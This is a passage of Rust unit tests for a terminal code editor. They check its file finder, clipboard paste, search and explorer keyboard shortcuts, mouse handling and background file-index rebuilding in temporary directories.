    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('t'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('o'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    let selected = app
        .tree
        .selected_path()
        .map(|p| p.to_path_buf())
        .expect("a row must be selected after Enter on the finder");
    assert_eq!(
        selected, target,
        "the explorer cursor must land on the picked file, not stay on whichever row was selected before — got {selected:?}"
    );
    let visible_paths: Vec<String> = app
        .tree
        .nodes
        .iter()
        .map(|n| n.path.display().to_string())
        .collect();
    for expected_parent in [
        tmp.path().join("packages"),
        tmp.path().join("packages").join("inner"),
        tmp.path().join("packages").join("inner").join("citations"),
    ] {
        let s = expected_parent.display().to_string();
        assert!(
            visible_paths.contains(&s),
            "parent dir {s} must appear in the flattened node list — i.e. every ancestor of the picked file must be expanded so the row is reachable: got {visible_paths:?}"
        );
    }
}

#[test]
fn bracketed_paste_into_open_file_finder_appends_to_the_query_not_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("hello")];
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_paste("alpha");
    assert_eq!(
        app.file_finder.as_ref().unwrap().query,
        "alpha",
        "an iTerm2 bracketed paste while the finder is open must land in the finder query so the user can Cmd+P then Cmd+V a filename"
    );
    assert_eq!(
        app.editor.lines,
        vec!["hello"],
        "the editor pane behind the modal must not receive the pasted text"
    );
}

#[test]
fn cmd_v_keystroke_in_file_finder_reads_clipboard_into_the_query() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.clipboard_reader = || Some(String::from("alpha"));
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('v'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.file_finder.as_ref().unwrap().query,
        "alpha",
        "Cmd+V inside the finder must read the system clipboard and append every char to the query — this covers terminals that disable bracketed paste or route Cmd+V via CSI-u"
    );
}

#[test]
fn file_finder_paste_strips_control_chars_so_a_pasted_newline_does_not_submit_garbage() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_paste("al\nph\ta");
    assert_eq!(
        app.file_finder.as_ref().unwrap().query,
        "alpha",
        "control chars in pasted text must be filtered out — a stray newline must not end the line and a tab must not navigate"
    );
}

#[test]
fn file_finder_modal_swallows_typed_characters_so_editor_does_not_receive_them() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("hello")];
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.lines,
        vec!["hello"],
        "while the file finder is open, typed letters must not leak into the editor buffer"
    );
    assert_eq!(
        app.file_finder.as_ref().unwrap().query,
        "x",
        "typed letters must go into the finder query instead"
    );
}

#[test]
fn editor_cmd_a_still_selects_all() {
    let mut app = editor_app_with_lines(&["hello", "world"]);
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.selection_text(), "hello\nworld");
}

#[test]
fn editor_alt_left_jumps_one_word_backward() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("hello world rest")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 16;
    app.handle_key(key(KeyCode::Left, KeyModifiers::ALT))
        .unwrap();
    assert_eq!(app.editor.cursor_col, 12);
    app.handle_key(key(KeyCode::Left, KeyModifiers::ALT))
        .unwrap();
    assert_eq!(app.editor.cursor_col, 6);
}

#[test]
fn editor_shift_alt_right_runs_expand_selection_not_word_extension() {
    // #254 reassigned Shift+Alt+Right from word-wise extension to VS
    // Code's Expand Selection (the same collision VS Code resolves the
    // same way). With no path/language, the textual fallback grows to
    // the line span immediately — no LSP round trip.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("hello world")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Right, KeyModifiers::ALT | KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.selection_text(),
        "hello world",
        "Shift+Option+Right expands to the enclosing range (the line here)"
    );
    // Shift+Alt+Left retraces to the gesture's start.
    app.handle_key(key(KeyCode::Left, KeyModifiers::ALT | KeyModifiers::SHIFT))
        .unwrap();
    assert!(
        app.editor.selection.is_none(),
        "shrink retraced to the caret"
    );
}

#[test]
fn search_visible_does_not_steal_cmd_x_from_focused_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.focus_pane(Pane::Editor);
    app.search.query = String::from("needle");
    app.editor.lines = vec![String::from("alpha")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 5;
    app.editor.select_all();

    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::SUPER))
        .unwrap();

    assert_eq!(app.editor.lines, [String::new()]);
    assert_eq!(app.search.query, "needle");
}

#[test]
fn search_visible_does_not_steal_bracketed_paste_from_focused_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.focus_pane(Pane::Editor);
    app.search.query = String::from("needle");
    app.editor.lines = vec![String::from("alpha")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 5;

    app.handle_paste(" beta");

    assert_eq!(app.editor.lines, [String::from("alpha beta")]);
    assert_eq!(app.search.query, "needle");
}

#[test]
fn cmd_v_pastes_clipboard_into_focused_editor_even_when_search_sidebar_visible() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.clipboard_reader = || Some(String::from(" beta"));
    app.set_sidebar_view(SidebarView::Search);
    app.focus_pane(Pane::Editor);
    app.search.query = String::from("needle");
    app.editor.lines = vec![String::from("alpha")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 5;

    app.handle_key(key(KeyCode::Char('v'), KeyModifiers::SUPER))
        .unwrap();

    assert_eq!(app.editor.lines, [String::from("alpha beta")]);
    assert_eq!(app.search.query, "needle");
}

#[test]
fn cmd_a_in_search_selects_entire_query() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("alpha");
    app.handle_search_key(key(KeyCode::Char('a'), KeyModifiers::SUPER));
    assert_eq!(
        app.search.selection_range(),
        Some((0, "alpha".len())),
        "Cmd+A in search input must select the whole query"
    );
}

#[test]
fn cmd_c_in_search_with_full_selection_clears_no_text() {
    // After Cmd+A then Cmd+C, the query stays put (copy is non-destructive).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("alpha");
    app.handle_search_key(key(KeyCode::Char('a'), KeyModifiers::SUPER));
    app.handle_search_key(key(KeyCode::Char('c'), KeyModifiers::SUPER));
    assert_eq!(app.search.query, "alpha");
}

#[test]
fn cmd_x_in_search_with_full_selection_clears_query() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("alpha");
    app.handle_search_key(key(KeyCode::Char('a'), KeyModifiers::SUPER));
    app.handle_search_key(key(KeyCode::Char('x'), KeyModifiers::SUPER));
    assert_eq!(app.search.query, "");
    assert_eq!(app.search.selection_range(), None);
}

#[test]
fn paste_clipboard_into_search_with_injected_text_appends_to_query() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("foo");
    app.paste_clipboard_into_search(Some("BAR"));
    assert_eq!(app.search.query, "fooBAR");
}

#[test]
fn paste_clipboard_into_search_with_no_text_is_noop() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("foo");
    app.paste_clipboard_into_search(None);
    assert_eq!(app.search.query, "foo");
}

#[test]
fn paste_clipboard_into_search_with_no_text_sets_diagnostic_status() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.paste_clipboard_into_search(None);
    assert!(
        app.status.to_lowercase().contains("clipboard"),
        "expected diagnostic status mentioning the clipboard, got: {:?}",
        app.status
    );
}

#[test]
fn paste_clipboard_into_search_with_empty_text_sets_diagnostic_status() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.paste_clipboard_into_search(Some(""));
    assert!(
        app.status.to_lowercase().contains("clipboard"),
        "expected diagnostic status mentioning the clipboard, got: {:?}",
        app.status
    );
}

#[test]
fn unmatched_cmd_key_in_search_logs_diagnostic_status() {
    // If iTerm or the kitty CSI u path delivers a Cmd+<letter> the search
    // handler doesn't recognise, leave a breadcrumb so the user can tell
    // us exactly what crossterm saw — this is how we'll diagnose Cmd+V
    // delivery problems without an interactive debugger.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.handle_search_key(key(KeyCode::Char('q'), KeyModifiers::SUPER));
    assert!(
        app.status.contains("Cmd+"),
        "expected unhandled-cmd diagnostic, got: {:?}",
        app.status
    );
}

#[test]
fn cmd_v_is_recognised_as_search_paste_key() {
    assert!(is_search_paste_key(key(
        KeyCode::Char('v'),
        KeyModifiers::SUPER
    )));
    assert!(is_search_paste_key(key(
        KeyCode::Char('v'),
        KeyModifiers::CONTROL
    )));
    assert!(is_search_paste_key(key(
        KeyCode::Char('\u{16}'),
        KeyModifiers::NONE
    )));
    assert!(!is_search_paste_key(key(
        KeyCode::Char('v'),
        KeyModifiers::NONE
    )));
    assert!(!is_search_paste_key(key(
        KeyCode::Char('a'),
        KeyModifiers::SUPER
    )));
}

#[test]
fn cmd_v_is_recognised_as_editor_paste_key() {
    assert!(is_editor_paste_key(key(
        KeyCode::Char('v'),
        KeyModifiers::SUPER
    )));
    assert!(is_editor_paste_key(key(
        KeyCode::Char('v'),
        KeyModifiers::CONTROL
    )));
    assert!(is_editor_paste_key(key(
        KeyCode::Char('\u{16}'),
        KeyModifiers::NONE
    )));
    assert!(!is_editor_paste_key(key(
        KeyCode::Char('v'),
        KeyModifiers::NONE
    )));
    assert!(!is_editor_paste_key(key(
        KeyCode::Char('a'),
        KeyModifiers::SUPER
    )));
}

#[test]
fn left_click_on_paste_button_triggers_clipboard_paste_into_search() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 12,
    };
    app.search.last_area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 12,
    };
    app.search.last_inner = Rect {
        x: 1,
        y: 1,
        width: 58,
        height: 10,
    };
    app.search.paste_button_x = 40;
    app.search.paste_button_y = 1;
    app.search.paste_button_w = 5;
    let original_status = app.status.clone();
    let m = crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 42,
        row: 1,
        modifiers: KeyModifiers::NONE,
    };
    app.handle_mouse(m);
    assert_ne!(
        app.status, original_status,
        "click on Paste button must invoke the clipboard paste path (status updates whether clipboard read succeeds, fails, or returns empty)"
    );
}

#[test]
fn double_clicking_a_search_hit_pins_the_tab_so_the_next_hit_opens_beside_it() {
    // Search results must mirror the Explorer's preview/pin gesture: a
    // single click opens the hit in the replaceable preview slot, a
    // double-click pins it so navigating to the next result opens a NEW
    // preview tab beside it instead of replacing the file under review.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "needle a\n").unwrap();
    std::fs::write(tmp.path().join("b.txt"), "needle b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("needle");
    app.search.run_query();
    assert_eq!(app.search.hits.len(), 2, "precondition: one hit per file");
    app.search.last_area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 20,
    };
    app.search.last_inner = Rect {
        x: 1,
        y: 1,
        width: 58,
        height: 18,
    };
    // Result rows start 5 rows below the inner top (header + blank + single-row
    // query field + separator + caption), matching SearchPanel::hit_at_y.
    let first_hit_row = app.search.last_inner.y + 5;
    let click = |row: u16| crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 5,
        row,
        modifiers: KeyModifiers::NONE,
    };
    let first_path = app.search.hits[0].path.clone();
    let second_path = app.search.hits[1].path.clone();

    app.handle_mouse(click(first_hit_row));
    assert!(
        app.editor.editors[app.editor.active_index()].preview,
        "a single click on a search hit opens it as a preview tab"
    );
    app.handle_mouse(click(first_hit_row));
    assert!(
        !app.editor.editors[app.editor.active_index()].preview,
        "a second click on the same hit within the double-click window must pin the tab, exactly like double-clicking a file in the Explorer"
    );

    app.handle_mouse(click(first_hit_row + 1));
    let paths: Vec<_> = app
        .editor
        .editors
        .iter()
        .filter_map(|e| e.path.clone())
        .collect();
    assert!(
        paths.contains(&first_path) && paths.contains(&second_path),
        "after pinning the first hit, opening the second must keep both files open (got {paths:?}); the pinned tab must not be replaced by the next preview"
    );
    assert!(
        app.editor.editors[app.editor.active_index()].preview,
        "the second hit lands in a fresh preview tab beside the pinned one"
    );
}

#[test]
fn cmd_p_index_is_built_in_the_background_so_open_does_not_walk_synchronously() {
    // Regression for the user's "Cmd+P is so slow" report. The old
    // open_file_finder ran build_file_index synchronously on the
    // UI thread on first invocation; for a sizeable workspace
    // that stalled the TUI for the entire walk. The fix kicks
    // off the walk in App::new and delivers the index via
    // channel - by the time the user reaches for Cmd+P, the
    // index is already cached.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), b"").unwrap();
    std::fs::create_dir(tmp.path().join(".croft")).unwrap();
    std::fs::write(tmp.path().join(".croft").join("lsp.log"), b"").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Poll for the background-built index to land. With this tiny
    // workspace it should arrive within a couple of hundred ms.
    let mut waited_ms = 0u32;
    loop {
        app.poll_file_finder_index();
        if app.file_finder_index.is_some() {
            break;
        }
        if waited_ms >= 5000 {
            panic!(
                "background walker thread must deliver the file index within 5s of App::new on a 2-file workspace"
            );
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
        waited_ms += 20;
    }
    // Once the index has landed, open_file_finder must consume it
    // without falling back to the synchronous walk - and the index
    // MUST contain the .croft/lsp.log entry the user expected to
    // find via Cmd+P typing 'lsp.log'.
    let rels: Vec<String> = app
        .file_finder_index
        .as_ref()
        .unwrap()
        .iter()
        .map(|e| e.rel.clone())
        .collect();
    assert!(
        rels.iter().any(|r| r == ".croft/lsp.log"),
        "background index must contain .croft/lsp.log; got {rels:?}"
    );
}

#[test]
fn cmd_p_index_refreshes_after_a_new_file_lands_on_disk() {
    // Regression: the Cmd+P index was built once at App::new and
    // never refreshed, so files created later (by another process,
    // by a git checkout that swapped the working tree, or by an
    // in-app create) stayed invisible to Cmd+P until croft was
    // restarted. drain_fs_events now triggers kick_file_finder_index_rebuild
    // so creates and deletes propagate into the haystack the
    // finder ranks against.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join(".git")).unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), b"").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Wait for the initial background index to land.
    let mut waited = 0u32;
    loop {
        app.poll_file_finder_index();
        if app.file_finder_index.is_some() {
            break;
        }
        if waited >= 5000 {
            panic!("initial index must land within 5s");
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
        waited += 20;
    }
    // Drain any startup FS-watcher noise so the next loop reacts
    // only to the file we are about to create.
    for _ in 0..20 {
        let _ = app.drain_fs_events();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    let new_dir = tmp
        .path()
        .join("packages/ant-ts-lib-noggin/src/entities/files");
    std::fs::create_dir_all(&new_dir).unwrap();
    std::fs::write(new_dir.join("resolver.ts"), b"export {};\n").unwrap();
    let started = std::time::Instant::now();
    let mut saw = false;
    for _ in 0..400 {
        let _ = app.drain_fs_events();
        app.poll_file_finder_index();
        if let Some(idx) = app.file_finder_index.as_ref()
            && idx
                .iter()
                .any(|e| e.rel == "packages/ant-ts-lib-noggin/src/entities/files/resolver.ts")
        {
            saw = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        saw,
        "Cmd+P index must include resolver.ts within a few seconds of it being written to disk; without this, branch-new files stay invisible to Cmd+P until croft restarts"
    );
    assert!(
        started.elapsed() <= std::time::Duration::from_secs(5),
        "index refresh must finish within 5s of the FS event on a 2-file workspace"
    );
}

#[test]
fn cmd_p_index_drops_a_file_deleted_off_disk() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join(".git")).unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), b"").unwrap();
    let target = tmp.path().join("doomed.rs");
    std::fs::write(&target, b"").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut waited = 0u32;
    loop {
        app.poll_file_finder_index();
        if let Some(idx) = app.file_finder_index.as_ref()
            && idx.iter().any(|e| e.rel == "doomed.rs")
        {
            break;
        }
        if waited >= 5000 {
            panic!("initial index must contain doomed.rs within 5s");
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
        waited += 20;
    }
    for _ in 0..20 {
        let _ = app.drain_fs_events();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    std::fs::remove_file(&target).unwrap();
    let mut gone = false;
    for _ in 0..400 {
        let _ = app.drain_fs_events();
        app.poll_file_finder_index();
        if let Some(idx) = app.file_finder_index.as_ref()
            && !idx.iter().any(|e| e.rel == "doomed.rs")
        {
            gone = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        gone,
        "deleted file must drop out of the Cmd+P index after the FS-event-driven rebuild lands"
    );
}

#[test]
fn change_workspace_root_rebuilds_cmd_p_index_against_the_new_root() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("root_a");
    let b = tmp.path().join("root_b");
    std::fs::create_dir_all(&a).unwrap();
    std::fs::create_dir_all(&b).unwrap();
    std::fs::write(a.join("only_in_a.rs"), b"").unwrap();
    std::fs::write(b.join("only_in_b.rs"), b"").unwrap();
    let mut app = App::new(a.clone()).unwrap();
    let mut waited = 0u32;
    loop {
        app.poll_file_finder_index();
        if let Some(idx) = app.file_finder_index.as_ref()
            && idx.iter().any(|e| e.rel == "only_in_a.rs")
        {
            break;
        }
        if waited >= 5000 {
            panic!("initial index against root_a must land within 5s");
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
        waited += 20;
    }
    app.change_workspace_root(b.clone());
    let mut saw_b = false;
    for _ in 0..400 {
        app.poll_file_finder_index();
        if let Some(idx) = app.file_finder_index.as_ref() {
            let rels: Vec<&str> = idx.iter().map(|e| e.rel.as_str()).collect();
            if rels.contains(&"only_in_b.rs") && !rels.contains(&"only_in_a.rs") {
                saw_b = true;
                break;
            }
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        saw_b,
        "after change_workspace_root(b), the Cmd+P index must reflect root_b's files (only_in_b.rs present, only_in_a.rs gone); without this, Cmd+/ leaves Cmd+P searching the previous project"
    );
}

#[test]
fn open_cmd_p_finder_re_ranks_in_place_when_the_index_swaps() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join(".git")).unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), b"").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut waited = 0u32;
    loop {
        app.poll_file_finder_index();
        if app.file_finder_index.is_some() {
            break;
        }
        if waited >= 5000 {
            panic!("initial index must land within 5s");
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
        waited += 20;
    }
    // Open Cmd+P, type the new filename — initially zero results.
    app.open_file_finder();
    for c in "resolver.ts".chars() {
        app.file_finder.as_mut().unwrap().push_char(c);
    }
    assert!(
        app.file_finder
            .as_ref()
            .unwrap()
            .visible_results()
            .is_empty(),
        "resolver.ts is not on disk yet; finder must show no matches before the file is created"
    );
    let new_dir = tmp
        .path()
        .join("packages/ant-ts-lib-noggin/src/entities/files");
    std::fs::create_dir_all(&new_dir).unwrap();
    std::fs::write(new_dir.join("resolver.ts"), b"").unwrap();
    let mut surfaced = false;
    for _ in 0..400 {
        let _ = app.drain_fs_events();
        app.poll_file_finder_index();
        let finder = app.file_finder.as_ref().unwrap();
        if finder
            .visible_results()
            .iter()
            .any(|r| r.entry.rel == "packages/ant-ts-lib-noggin/src/entities/files/resolver.ts")
        {
            surfaced = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        surfaced,
        "an open Cmd+P finder must re-rank against the rebuilt index without the user closing and reopening it"
    );
}

#[test]
fn click_on_tree_row_aligned_with_terminal_splitter_y_selects_the_row_not_the_splitter() {
    // Regression for the user's "I can't click on the last two files,
    // but arrow+Enter opens them" report. Root cause: the editor /
    // terminal splitter handler at handle_mouse checks `m.row == y
    // || m.row == y.saturating_sub(1)` WITHOUT gating by column, so
    // a click on a tree row in the LEFT column whose y happens to
    // line up with the editor/terminal splitter (which only lives
    // in the RIGHT column) was hijacked into a splitter-drag and
    // never reached the Explorer's `node_at_y` branch.
    let tmp = tempfile::tempdir().unwrap();
    for name in [
        "alpha.txt",
        "beta.txt",
        "gamma.txt",
        "delta.txt",
        "epsilon.txt",
        "zeta.txt",
    ] {
        std::fs::write(tmp.path().join(name), b"").unwrap();
    }
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Layout: activity-bar(4) + tree-pane on the left, editor +
    // terminal stacked on the right. Pick a splitter row that
    // intersects one of the rendered tree rows.
    app.tree.last_area = Rect {
        x: 4,
        y: 0,
        width: 32,
        height: 12,
    };
    app.tree.last_inner = Rect {
        x: 5,
        y: 1,
        width: 30,
        height: 10,
    };
    app.sidebar_splitter_x = Some(36);
    // Splitter sits inside the tree's rendered row band.
    app.terminal_splitter_y = Some(6);
    // The clicked tree row's y MUST equal terminal_splitter_y to
    // trigger the bug; column stays well inside tree.last_inner.x..
    let click_row = 6u16;
    let click_col = app.tree.last_inner.x + 2;
    let target_idx = (click_row - app.tree.last_inner.y) as usize;
    assert!(
        target_idx < app.tree.nodes.len(),
        "test setup must put a real tree row at the splitter y"
    );
    let click = crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: click_col,
        row: click_row,
        modifiers: KeyModifiers::NONE,
    };
    app.handle_mouse(click);
    assert!(
        app.splitter_drag.is_none(),
        "click in the LEFT (tree) column must never arm a splitter drag, even when the row y lines up with the editor/terminal splitter that lives in the RIGHT column"
    );
    assert_eq!(
        app.tree.selected, target_idx,
        "the tree row under the click must become selected; the user reported the bottom rows of the tree being unclickable even though they were plainly visible"
    );
}

#[test]
fn double_clicking_directory_toggles_only_once() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("sub")).unwrap();
    std::fs::write(tmp.path().join("sub").join("child.txt"), "hi").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let sub_idx = app
        .tree
        .nodes
        .iter()
        .position(|node| node.path.ends_with("sub"))
        .unwrap();
    let row = app.tree.last_inner.y + sub_idx as u16;
    let click = crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row,
        modifiers: KeyModifiers::NONE,
    };

    app.handle_mouse(click);
    let sub_idx = app
        .tree
        .nodes
        .iter()
        .position(|node| node.path.ends_with("sub"))
        .unwrap();
    assert!(app.tree.nodes[sub_idx].expanded);
    let expanded_len = app.tree.nodes.len();

    app.handle_mouse(click);
    let sub_idx = app
        .tree
        .nodes
        .iter()
        .position(|node| node.path.ends_with("sub"))
        .unwrap();
    assert!(app.tree.nodes[sub_idx].expanded);
    assert_eq!(app.tree.nodes.len(), expanded_len);
}

#[test]
fn typing_after_select_all_replaces_query() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("alpha");
    app.handle_search_key(key(KeyCode::Char('a'), KeyModifiers::SUPER));
    app.handle_search_key(key(KeyCode::Char('z'), KeyModifiers::NONE));
    assert_eq!(app.search.query, "z");
}

#[test]
fn shift_arrow_extends_tree_selection() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    std::fs::write(tmp.path().join("b.txt"), "").unwrap();
    std::fs::write(tmp.path().join("c.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.select_replace(1);
    app.handle_tree_key(key(KeyCode::Down, KeyModifiers::SHIFT));
    app.handle_tree_key(key(KeyCode::Down, KeyModifiers::SHIFT));
    assert_eq!(app.tree.action_paths().len(), 3);
}

#[test]
fn cmd_a_in_tree_marks_all_visible() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    std::fs::write(tmp.path().join("b.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_tree_key(key(KeyCode::Char('a'), KeyModifiers::SUPER));
    assert_eq!(app.tree.marked.len(), app.tree.nodes.len());
}

#[test]
fn esc_in_tree_clears_marks() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.toggle_mark(1);
    assert!(!app.tree.marked.is_empty());
    app.handle_tree_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.tree.marked.is_empty());
}

#[test]
fn cmd_c_then_cmd_v_copies_explorer_paths_into_target() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("src.txt"), "hello").unwrap();
    std::fs::create_dir(tmp.path().join("dest")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let src_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("src.txt"))
        .unwrap();
    app.tree.select_replace(src_idx);
    app.handle_tree_key(key(KeyCode::Char('c'), KeyModifiers::SUPER));
    let dest_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("dest"))
        .unwrap();
    app.tree.select_replace(dest_idx);
    app.handle_tree_key(key(KeyCode::Char('v'), KeyModifiers::SUPER));
    let dest_file = tmp.path().join("dest/src.txt");
    assert!(dest_file.exists(), "copy must place file in target dir");
    assert!(
        tmp.path().join("src.txt").exists(),
        "copy must keep the source"
    );
}

#[test]
fn cmd_x_then_cmd_v_moves_explorer_paths_into_target() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("src.txt"), "hello").unwrap();
    std::fs::create_dir(tmp.path().join("dest")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let src_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("src.txt"))
        .unwrap();
    app.tree.select_replace(src_idx);
    app.handle_tree_key(key(KeyCode::Char('x'), KeyModifiers::SUPER));
    let dest_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("dest"))
        .unwrap();
    app.tree.select_replace(dest_idx);
    app.handle_tree_key(key(KeyCode::Char('v'), KeyModifiers::SUPER));
    assert!(tmp.path().join("dest/src.txt").exists());
    assert!(
        !tmp.path().join("src.txt").exists(),
        "cut must remove source"
    );
    assert!(
        app.tree_clipboard.is_none(),
        "cut clipboard must be consumed on paste"
    );
}

#[test]
fn delete_key_trashes_every_marked_path() {
    let tmp = tempfile::tempdir().unwrap();
